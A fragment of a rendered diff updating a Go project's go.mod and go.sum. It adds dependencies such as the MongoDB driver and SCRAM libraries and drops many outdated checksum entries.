github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect
|
github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect
|
||||||
github.com/jcmturner/gofork v1.7.6 // indirect
|
github.com/jcmturner/gofork v1.7.6 // indirect
|
||||||
@ -62,18 +49,23 @@ require (
|
|||||||
github.com/jcmturner/gokrb5/v8 v8.4.4 // indirect
|
github.com/jcmturner/gokrb5/v8 v8.4.4 // indirect
|
||||||
github.com/jcmturner/rpc/v2 v2.0.3 // indirect
|
github.com/jcmturner/rpc/v2 v2.0.3 // indirect
|
||||||
github.com/klauspost/compress v1.17.9 // indirect
|
github.com/klauspost/compress v1.17.9 // indirect
|
||||||
github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect
|
|
||||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||||
github.com/mattn/go-runewidth v0.0.14 // indirect
|
github.com/mattn/go-runewidth v0.0.14 // indirect
|
||||||
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect
|
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect
|
||||||
|
github.com/montanaflynn/stats v0.7.1 // indirect
|
||||||
github.com/pierrec/lz4/v4 v4.1.21 // indirect
|
github.com/pierrec/lz4/v4 v4.1.21 // indirect
|
||||||
github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect
|
github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect
|
||||||
github.com/rivo/uniseg v0.4.7 // indirect
|
github.com/rivo/uniseg v0.4.7 // indirect
|
||||||
github.com/rogpeppe/go-internal v1.13.1 // indirect
|
github.com/rogpeppe/go-internal v1.13.1 // indirect
|
||||||
github.com/stoewer/go-strcase v1.2.0 // indirect
|
github.com/stoewer/go-strcase v1.2.0 // indirect
|
||||||
github.com/vcaesar/keycode v0.10.1 // indirect
|
github.com/xdg-go/pbkdf2 v1.0.0 // indirect
|
||||||
|
github.com/xdg-go/scram v1.1.2 // indirect
|
||||||
|
github.com/xdg-go/stringprep v1.0.4 // indirect
|
||||||
|
github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 // indirect
|
||||||
|
go.mongodb.org/mongo-driver v1.17.4 // indirect
|
||||||
golang.org/x/term v0.27.0 // indirect
|
golang.org/x/term v0.27.0 // indirect
|
||||||
|
golang.org/x/text v0.21.0 // indirect
|
||||||
gopkg.in/inf.v0 v0.9.1 // indirect
|
gopkg.in/inf.v0 v0.9.1 // indirect
|
||||||
)
|
)
|
||||||
|
|
||||||
|
393
go.sum
393
go.sum
@ -1,16 +1,3 @@
|
|||||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
|
||||||
cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
|
||||||
cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
|
|
||||||
cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
|
|
||||||
cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
|
|
||||||
cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
|
|
||||||
cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
|
|
||||||
cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
|
|
||||||
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
|
|
||||||
cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
|
|
||||||
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
|
|
||||||
cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
|
|
||||||
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
|
|
||||||
filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA=
|
filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA=
|
||||||
filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4=
|
filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4=
|
||||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v0.19.0/go.mod h1:h6H6c8enJmmocHUbLiiGY6sx7f9i+X3m1CHdd5c6Rdw=
|
github.com/Azure/azure-sdk-for-go/sdk/azcore v0.19.0/go.mod h1:h6H6c8enJmmocHUbLiiGY6sx7f9i+X3m1CHdd5c6Rdw=
|
||||||
@ -18,43 +5,21 @@ github.com/Azure/azure-sdk-for-go/sdk/azidentity v0.11.0/go.mod h1:HcM1YX14R7CJc
|
|||||||
github.com/Azure/azure-sdk-for-go/sdk/internal v0.7.0/go.mod h1:yqy467j36fJxcRV2TzfVZ1pCb5vxm4BtZPUdYWe/Xo8=
|
github.com/Azure/azure-sdk-for-go/sdk/internal v0.7.0/go.mod h1:yqy467j36fJxcRV2TzfVZ1pCb5vxm4BtZPUdYWe/Xo8=
|
||||||
github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8=
|
github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8=
|
||||||
github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU=
|
github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU=
|
||||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
|
||||||
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
|
||||||
github.com/IBM/sarama v1.43.3 h1:Yj6L2IaNvb2mRBop39N7mmJAHBVY3dTPncr3qGVkxPA=
|
github.com/IBM/sarama v1.43.3 h1:Yj6L2IaNvb2mRBop39N7mmJAHBVY3dTPncr3qGVkxPA=
|
||||||
github.com/IBM/sarama v1.43.3/go.mod h1:FVIRaLrhK3Cla/9FfRF5X9Zua2KpS3SYIXxhac1H+FQ=
|
github.com/IBM/sarama v1.43.3/go.mod h1:FVIRaLrhK3Cla/9FfRF5X9Zua2KpS3SYIXxhac1H+FQ=
|
||||||
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
|
|
||||||
github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
|
|
||||||
github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
|
|
||||||
github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa h1:LHTHcTQiSGT7VVbI0o4wBRNQIgn917usHWOd6VAffYI=
|
github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa h1:LHTHcTQiSGT7VVbI0o4wBRNQIgn917usHWOd6VAffYI=
|
||||||
github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
|
github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
|
||||||
github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 h1:yL7+Jz0jTC6yykIK/Wh74gnTJnrGr5AyrNMXuA0gves=
|
github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 h1:yL7+Jz0jTC6yykIK/Wh74gnTJnrGr5AyrNMXuA0gves=
|
||||||
github.com/antlr/antlr4/runtime/Go/antlr v1.4.10/go.mod h1:F7bn7fEU90QkQ3tnmaTx3LTKLEDqnwWODIYppRQ5hnY=
|
github.com/antlr/antlr4/runtime/Go/antlr v1.4.10/go.mod h1:F7bn7fEU90QkQ3tnmaTx3LTKLEDqnwWODIYppRQ5hnY=
|
||||||
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
|
|
||||||
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
|
|
||||||
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
|
|
||||||
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
|
|
||||||
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
|
|
||||||
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
|
|
||||||
github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932 h1:mXoPYz/Ul5HYEDvkta6I8/rnYM5gSdSV2tJ6XbZuEtY=
|
github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932 h1:mXoPYz/Ul5HYEDvkta6I8/rnYM5gSdSV2tJ6XbZuEtY=
|
||||||
github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932/go.mod h1:NOuUCSz6Q9T7+igc/hlvDOUdtWKryOrtFyIVABv/p7k=
|
github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932/go.mod h1:NOuUCSz6Q9T7+igc/hlvDOUdtWKryOrtFyIVABv/p7k=
|
||||||
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
|
|
||||||
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY=
|
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY=
|
||||||
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
|
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
|
||||||
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
|
|
||||||
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
|
||||||
github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
|
|
||||||
github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
|
|
||||||
github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
|
|
||||||
github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
|
|
||||||
github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
|
|
||||||
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
|
||||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
github.com/denisenkom/go-mssqldb v0.12.3 h1:pBSGx9Tq67pBOTLmxNuirNTeB8Vjmf886Kx+8Y+8shw=
|
github.com/denisenkom/go-mssqldb v0.12.3 h1:pBSGx9Tq67pBOTLmxNuirNTeB8Vjmf886Kx+8Y+8shw=
|
||||||
github.com/denisenkom/go-mssqldb v0.12.3/go.mod h1:k0mtMFOnU+AihqFxPMiF05rtiDrorD1Vrm1KEz5hxDo=
|
github.com/denisenkom/go-mssqldb v0.12.3/go.mod h1:k0mtMFOnU+AihqFxPMiF05rtiDrorD1Vrm1KEz5hxDo=
|
||||||
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
|
|
||||||
github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
|
|
||||||
github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ=
|
github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ=
|
||||||
github.com/eapache/go-resiliency v1.7.0 h1:n3NRTnBn5N0Cbi/IeOHuQn9s2UwVUH7Ga0ZWcP+9JTA=
|
github.com/eapache/go-resiliency v1.7.0 h1:n3NRTnBn5N0Cbi/IeOHuQn9s2UwVUH7Ga0ZWcP+9JTA=
|
||||||
github.com/eapache/go-resiliency v1.7.0/go.mod h1:5yPzW0MIvSe0JDsv0v+DvcjEv2FyD6iZYSs1ZI+iQho=
|
github.com/eapache/go-resiliency v1.7.0/go.mod h1:5yPzW0MIvSe0JDsv0v+DvcjEv2FyD6iZYSs1ZI+iQho=
|
||||||
@ -62,133 +27,46 @@ github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 h1:Oy0F4A
|
|||||||
github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3/go.mod h1:YvSRo5mw33fLEx1+DlK6L2VV43tJt5Eyel9n9XBcR+0=
|
github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3/go.mod h1:YvSRo5mw33fLEx1+DlK6L2VV43tJt5Eyel9n9XBcR+0=
|
||||||
github.com/eapache/queue v1.1.0 h1:YOEu7KNc61ntiQlcEeUIoDTJ2o8mQznoNvUhiigpIqc=
|
github.com/eapache/queue v1.1.0 h1:YOEu7KNc61ntiQlcEeUIoDTJ2o8mQznoNvUhiigpIqc=
|
||||||
github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I=
|
github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I=
|
||||||
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
|
|
||||||
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
|
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
|
||||||
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
|
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
|
||||||
github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw=
|
github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw=
|
||||||
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g=
|
||||||
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
|
|
||||||
github.com/fsnotify/fsnotify v1.5.1/go.mod h1:T3375wBYaZdLLcVNkcVbzGHY7f1l/uK5T5Ai1i3InKU=
|
|
||||||
github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w=
|
|
||||||
github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc=
|
|
||||||
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
|
|
||||||
github.com/go-asn1-ber/asn1-ber v1.5.7 h1:DTX+lbVTWaTw1hQ+PbZPlnDZPEIs0SS/GCZAl535dDk=
|
github.com/go-asn1-ber/asn1-ber v1.5.7 h1:DTX+lbVTWaTw1hQ+PbZPlnDZPEIs0SS/GCZAl535dDk=
|
||||||
github.com/go-asn1-ber/asn1-ber v1.5.7/go.mod h1:hEBeB/ic+5LoWskz+yKT7vGhhPYkProFKoKdwZRWMe0=
|
github.com/go-asn1-ber/asn1-ber v1.5.7/go.mod h1:hEBeB/ic+5LoWskz+yKT7vGhhPYkProFKoKdwZRWMe0=
|
||||||
github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk=
|
|
||||||
github.com/go-gl/gl v0.0.0-20190320180904-bf2b1f2f34d7/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk=
|
|
||||||
github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
|
|
||||||
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
|
|
||||||
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20210410170116-ea3d685f79fb/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
|
|
||||||
github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
|
||||||
github.com/go-ldap/ldap/v3 v3.4.9 h1:KxX9eO44/MpqPXVVMPJDB+k/35GEePHE/Jfvl7oRMUo=
|
github.com/go-ldap/ldap/v3 v3.4.9 h1:KxX9eO44/MpqPXVVMPJDB+k/35GEePHE/Jfvl7oRMUo=
|
||||||
github.com/go-ldap/ldap/v3 v3.4.9/go.mod h1:+CE/4PPOOdEPGTi2B7qXKQOq+pNBvXZtlBNcVZY0AWI=
|
github.com/go-ldap/ldap/v3 v3.4.9/go.mod h1:+CE/4PPOOdEPGTi2B7qXKQOq+pNBvXZtlBNcVZY0AWI=
|
||||||
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
|
|
||||||
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
|
|
||||||
github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y=
|
github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y=
|
||||||
github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg=
|
github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg=
|
||||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
|
||||||
github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE=
|
|
||||||
github.com/gocql/gocql v1.7.0 h1:O+7U7/1gSN7QTEAaMEsJc1Oq2QHXvCWoF3DFK9HDHus=
|
github.com/gocql/gocql v1.7.0 h1:O+7U7/1gSN7QTEAaMEsJc1Oq2QHXvCWoF3DFK9HDHus=
|
||||||
github.com/gocql/gocql v1.7.0/go.mod h1:vnlvXyFZeLBF0Wy+RS8hrOdbn0UWsWtdg07XJnFxZ+4=
|
github.com/gocql/gocql v1.7.0/go.mod h1:vnlvXyFZeLBF0Wy+RS8hrOdbn0UWsWtdg07XJnFxZ+4=
|
||||||
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
|
||||||
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
|
|
||||||
github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
|
|
||||||
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY=
|
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY=
|
||||||
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
|
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
|
||||||
github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A=
|
github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A=
|
||||||
github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI=
|
github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI=
|
||||||
github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k=
|
|
||||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
|
||||||
github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
|
||||||
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
|
|
||||||
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
|
|
||||||
github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
|
|
||||||
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
|
||||||
github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
|
||||||
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
|
||||||
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
|
|
||||||
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
|
|
||||||
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
|
|
||||||
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
|
|
||||||
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
|
|
||||||
github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
|
||||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||||
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
|
||||||
github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
|
github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
|
||||||
github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM=
|
github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM=
|
||||||
github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
|
github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
|
||||||
github.com/gomodule/redigo v1.8.4/go.mod h1:P9dn9mFrCBvWhGE1wpxx6fgq7BAeLBk+UUUzlpkBYO0=
|
|
||||||
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
|
|
||||||
github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
|
|
||||||
github.com/google/cel-go v0.13.0 h1:z+8OBOcmh7IeKyqwT/6IlnMvy621fYUqnTVPEdegGlU=
|
